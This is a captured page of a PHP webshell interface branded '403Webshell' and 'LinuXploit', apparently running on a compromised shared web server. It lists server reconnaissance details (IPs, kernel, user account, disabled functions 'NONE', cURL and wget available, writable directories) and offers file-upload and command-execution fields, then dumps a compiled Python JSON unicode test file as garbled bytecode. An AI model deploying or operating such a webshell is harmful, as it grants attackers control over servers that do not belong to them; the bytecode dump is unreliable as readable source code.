403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.36
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/test_json/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/test_json/__pycache__/test_unicode.cpython-36.pyc
3

�w2_$�@sZddlZddlmZddlmZmZGdd�d�ZGdd�dee�ZGdd	�d	ee�ZdS)
�N)�OrderedDict)�PyTest�CTestc@sdeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dS)�TestUnicodecCsd}|j|�}|j|d�dS)NuαΩz"\u03b1\u03a9")�dumps�assertEqual)�self�u�j�r�@/opt/alt/python36/lib64/python3.6/test/test_json/test_unicode.py�test_encoding3
s
zTestUnicode.test_encoding3cCs d}|j|g�}|j|d�dS)NuαΩz["\u03b1\u03a9"])rr)rr	r
rrr�test_encoding4szTestUnicode.test_encoding4cCs(d}|j|dd�}|j|dj|��dS)NuαΩF)�ensure_asciiz"{0}")rr�format)rr	r
rrr�test_encoding5szTestUnicode.test_encoding5cCs*d}|j|gdd�}|j|dj|��dS)NuαΩF)rz["{0}"])rrr)rr	r
rrr�test_encoding6szTestUnicode.test_encoding6cCs0d}|j|j|�d�|j|j|dd�d�dS)Nu𝄠z"\ud834\udd20"F)ru"𝄠")rr)rr	rrr�test_big_unicode_encodesz#TestUnicode.test_big_unicode_encodecCs4d}|j|jd|d�|�|j|jd�|�dS)Nuz𝄠x�"z"z\ud834\udd20x")r�loads)rr	rrr�test_big_unicode_decode#sz#TestUnicode.test_big_unicode_decodecCs<x6tdd�D](}t|�}dj|�}|j|j|�|�qWdS)Nri��z"\u{0:04x}")�range�chrrrr)r�ir	�srrr�test_unicode_decode(s
zTestUnicode.test_unicode_decodecCsJ|jt|jd��t�|jt|jd��t�|jt|jd�d�t�dS)Nz""z"a"z["a"]r)r�typer�str)rrrr�test_unicode_preservation.sz%TestUnicode.test_unicode_preservationcCs&|jt|jd�|jt|jdg�dS)Nshi)�assertRaises�	TypeErrorr)rrrr�test_bytes_encode3szTestUnicode.test_bytes_encodecCs�xvdtjfdtjfdtjfdtjfdtjfgD]F\}}dg}|j|�j|�}|j|j	||�|�|j|j	|�|�q.W|j
t|j	d�|j|j	djd	��d
�|j|j	d�d�|j|j	d
�d�|j|j	d�d�dS)Nzutf-8zutf-16bezutf-16lezutf-32bezutf-32leu
aµ€𝄠s["�"]u"☀"z	utf-16-leu☀s5�s7�s57�9)�codecs�BOM_UTF8�BOM_UTF16_BE�BOM_UTF16_LE�BOM_UTF32_BE�BOM_UTF32_LEr�encoderrr�UnicodeDecodeError)r�encodingZbom�dataZencodedrrr�test_bytes_decode7s zTestUnicode.test_bytes_decodecCs�d}dddddddg}|j|j|�t|��|j|j|dd�d�|�|j|td�}|j|t|��|jt|�t�|j|j|tdd�d�t|��dS)Nz?{"xkd":1, "kcw":2, "art":3, "hxm":4, "qrt":5, "pad":6, "hoy":7}�xkd��kcw��art��hxm��qrtr"�pad��hoyr#cSs|S)Nr)�xrrr�<lambda>WszATestUnicode.test_object_pairs_hook_with_unicode.<locals>.<lambda>)�object_pairs_hookcSsdS)Nr)r<rrrr=]s)r>Zobject_hook)r0r1)r2r3)r4r5)r6r7)r8r")r9r:)r;r#)rr�evalrr)rr�pZodrrr�#test_object_pairs_hook_with_unicodeRs

z/TestUnicode.test_object_pairs_hook_with_unicodeN)�__name__�
__module__�__qualname__r
rrrrrrrr!r/rArrrrrsrc@seZdZdS)�
TestPyUnicodeN)rBrCrDrrrrrEasrEc@seZdZdS)�TestCUnicodeN)rBrCrDrrrrrFbsrF)	r%�collectionsrZtest.test_jsonrrrrErFrrrr�<module>s
[

Youez - 2016 - github.com/yon3zu
LinuXploit